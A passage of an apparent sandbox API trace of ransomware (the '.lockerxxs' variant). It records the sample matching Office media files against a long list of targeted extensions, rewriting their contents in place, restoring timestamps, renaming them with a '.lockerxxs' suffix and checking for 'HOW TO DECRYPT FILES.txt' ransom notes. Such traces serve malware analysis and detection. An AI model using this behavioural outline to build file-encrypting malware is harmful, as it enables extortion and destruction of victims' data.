Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.xdw") returned 0 [0066.041] lstrlenA (lpString="*.xdw") returned 5 [0066.041] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.ods") returned 0 [0066.041] lstrlenA (lpString="*.ods") returned 5 [0066.041] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", pszSpec="*.wav") returned 1 [0066.041] lstrlenA (lpString="*.wav") returned 5 [0066.041] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" [0066.041] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" [0066.041] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV." [0066.041] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.lockerxxs" [0066.041] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0066.042] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d7f [0066.042] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1b50b600, dwHighDateTime=0x1bc8d47), lpLastAccessTime=0x407536*(dwLowDateTime=0x51c50cb0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1b50b600, dwHighDateTime=0x1bc8d47)) returned 1 [0066.042] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.042] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1d59, lpOverlapped=0x0) returned 1 [0066.045] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV") returned="CASHREG.WAV" [0066.045] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.045] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1d59, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1d59, lpOverlapped=0x0) returned 1 [0066.045] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.045] CloseHandle (hObject=0x8c) returned 1 [0066.049] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav.lockerxxs")) returned 1 [0066.050] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x91be, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="CHIMES.WAV", cAlternateFileName="")) returned 1 [0066.050] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.050] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CHIMES.WAV") returned 1 [0066.050] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CHIMES.WAV") returned 1 [0066.050] lstrcmpiA (lpString1="", lpString2="CHIMES.WAV") returned -1 [0066.050] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV") returned="CASHREG.WAV" [0066.050] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.050] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.050] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0066.050] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0066.050] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="CHIMES.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" [0066.050] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.ems") returned 0 [0066.050] lstrlenA (lpString="*.ems") returned 5 [0066.050] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.db") returned 0 [0066.051] lstrlenA (lpString="*.db") returned 4 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.dbf") returned 0 [0066.051] lstrlenA (lpString="*.dbf") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.myox") returned 0 [0066.051] lstrlenA (lpString="*.myox") returned 6 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.myo") returned 0 [0066.051] lstrlenA (lpString="*.myo") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qbw") returned 0 [0066.051] lstrlenA (lpString="*.qbw") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qbb") returned 0 [0066.051] lstrlenA (lpString="*.qbb") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qbm") returned 0 [0066.051] lstrlenA (lpString="*.qbm") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qbo") returned 0 [0066.051] lstrlenA (lpString="*.qbo") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qbx") returned 0 [0066.051] lstrlenA (lpString="*.qbx") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qba") returned 0 [0066.051] lstrlenA (lpString="*.qba") returned 5 [0066.051] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qby") returned 0 [0066.051] lstrlenA (lpString="*.qby") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qbj") returned 0 [0066.052] lstrlenA (lpString="*.qbj") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.ofx") returned 0 [0066.052] lstrlenA (lpString="*.ofx") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.qif") returned 0 [0066.052] lstrlenA (lpString="*.qif") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.mye") returned 0 [0066.052] lstrlenA (lpString="*.mye") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.mbox") returned 0 [0066.052] lstrlenA (lpString="*.mbox") returned 6 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.eml") returned 0 [0066.052] lstrlenA (lpString="*.eml") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.pst") returned 0 [0066.052] lstrlenA (lpString="*.pst") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.ost") returned 0 [0066.052] lstrlenA (lpString="*.ost") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.idx") returned 0 [0066.052] lstrlenA (lpString="*.idx") returned 5 [0066.052] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.dbx") returned 0 [0066.053] lstrlenA (lpString="*.dbx") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.sql") returned 0 [0066.053] lstrlenA (lpString="*.sql") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.mdb") returned 0 [0066.053] lstrlenA (lpString="*.mdb") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.fdb") returned 0 [0066.053] lstrlenA (lpString="*.fdb") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.wab") returned 0 [0066.053] lstrlenA (lpString="*.wab") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.dat") returned 0 [0066.053] lstrlenA (lpString="*.dat") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.txt") returned 0 [0066.053] lstrlenA (lpString="*.txt") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.jpeg") returned 0 [0066.053] lstrlenA (lpString="*.jpeg") returned 6 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.jpg") returned 0 [0066.053] lstrlenA (lpString="*.jpg") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.png") returned 0 [0066.053] lstrlenA (lpString="*.png") returned 5 [0066.053] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.php") returned 0 [0066.053] lstrlenA (lpString="*.php") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.cs") returned 0 [0066.054] lstrlenA (lpString="*.cs") returned 4 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.cpp") returned 0 [0066.054] lstrlenA (lpString="*.cpp") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.rar") returned 0 [0066.054] lstrlenA (lpString="*.rar") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.zip") returned 0 [0066.054] lstrlenA (lpString="*.zip") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.html") returned 0 [0066.054] lstrlenA (lpString="*.html") returned 6 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.htm") returned 0 [0066.054] lstrlenA (lpString="*.htm") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.xlsx") returned 0 [0066.054] lstrlenA (lpString="*.xlsx") returned 6 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.xls") returned 0 [0066.054] lstrlenA (lpString="*.xls") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.mp4") returned 0 [0066.054] lstrlenA (lpString="*.mp4") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.ppt") returned 0 [0066.054] lstrlenA (lpString="*.ppt") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.pptx") returned 0 [0066.054] lstrlenA (lpString="*.pptx") returned 6 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.doc") returned 0 [0066.054] lstrlenA (lpString="*.doc") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.dot") returned 0 [0066.054] lstrlenA (lpString="*.dot") returned 5 [0066.054] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.docx") returned 0 [0066.054] lstrlenA (lpString="*.docx") returned 6 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.7z") returned 0 [0066.055] lstrlenA (lpString="*.7z") returned 4 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.tar") returned 0 [0066.055] lstrlenA (lpString="*.tar") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.bz2") returned 0 [0066.055] lstrlenA (lpString="*.bz2") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.gz") returned 0 [0066.055] lstrlenA (lpString="*.gz") returned 4 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.mkv") returned 0 [0066.055] lstrlenA (lpString="*.mkv") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.eml") returned 0 [0066.055] lstrlenA (lpString="*.eml") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.msg") returned 0 [0066.055] lstrlenA (lpString="*.msg") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.edb") returned 0 [0066.055] lstrlenA (lpString="*.edb") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.accdb") returned 0 [0066.055] lstrlenA (lpString="*.accdb") returned 7 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.odb") returned 0 [0066.055] lstrlenA (lpString="*.odb") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.java") returned 0 [0066.055] lstrlenA (lpString="*.java") returned 6 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.asm") returned 0 [0066.055] lstrlenA (lpString="*.asm") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.pfx") returned 0 [0066.055] lstrlenA (lpString="*.pfx") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.pem") returned 0 [0066.055] lstrlenA (lpString="*.pem") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.p12") returned 0 [0066.055] lstrlenA (lpString="*.p12") returned 5 [0066.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.gpg") returned 0 [0066.055] lstrlenA (lpString="*.gpg") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.vsd") returned 0 [0066.056] lstrlenA (lpString="*.vsd") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.odg") returned 0 [0066.056] lstrlenA (lpString="*.odg") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.raw") returned 0 [0066.056] lstrlenA (lpString="*.raw") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.nef") returned 0 [0066.056] lstrlenA (lpString="*.nef") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.svg") returned 0 [0066.056] lstrlenA (lpString="*.svg") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.psd") returned 0 [0066.056] lstrlenA (lpString="*.psd") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.vmx") returned 0 [0066.056] lstrlenA (lpString="*.vmx") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.vmdk") returned 0 [0066.056] lstrlenA (lpString="*.vmdk") returned 6 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.vdi") returned 0 [0066.056] lstrlenA (lpString="*.vdi") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.lay6") returned 0 [0066.056] lstrlenA (lpString="*.lay6") returned 6 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.mpeg") returned 0 [0066.056] lstrlenA (lpString="*.mpeg") returned 6 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.djvu") returned 0 [0066.056] lstrlenA (lpString="*.djvu") returned 6 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.tiff") returned 0 [0066.056] lstrlenA (lpString="*.tiff") returned 6 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.backup") returned 0 [0066.056] lstrlenA (lpString="*.backup") returned 8 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.pdf") returned 0 [0066.056] lstrlenA (lpString="*.pdf") returned 5 [0066.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.cert") returned 0 [0066.056] lstrlenA (lpString="*.cert") returned 6 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.docm") returned 0 [0066.057] lstrlenA (lpString="*.docm") returned 6 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.xlsm") returned 0 [0066.057] lstrlenA (lpString="*.xlsm") returned 6 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.dwg") returned 0 [0066.057] lstrlenA (lpString="*.dwg") returned 5 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.nd") returned 0 [0066.057] lstrlenA (lpString="*.nd") returned 4 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.tlg") returned 0 [0066.057] lstrlenA (lpString="*.tlg") returned 5 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.lgb") returned 0 [0066.057] lstrlenA (lpString="*.lgb") returned 5 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.mov") returned 0 [0066.057] lstrlenA (lpString="*.mov") returned 5 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.xdw") returned 0 [0066.057] lstrlenA (lpString="*.xdw") returned 5 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.ods") returned 0 [0066.057] lstrlenA (lpString="*.ods") returned 5 [0066.057] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", pszSpec="*.wav") returned 1 [0066.057] lstrlenA (lpString="*.wav") returned 5 [0066.057] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" [0066.057] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" [0066.057] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV." [0066.057] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.lockerxxs" [0066.058] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0066.059] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x91be [0066.059] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb796bf00, dwHighDateTime=0x1bd8ab7), lpLastAccessTime=0x407536*(dwLowDateTime=0x51c76e10, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb796bf00, dwHighDateTime=0x1bd8ab7)) returned 1 [0066.059] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.059] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9198, lpOverlapped=0x0) returned 1 [0066.062] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV") returned="CHIMES.WAV" [0066.062] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.062] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9198, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9198, lpOverlapped=0x0) returned 1 [0066.063] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.063] CloseHandle (hObject=0x8c) returned 1 [0066.064] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.lockerxxs" (normalized: "c:\\program 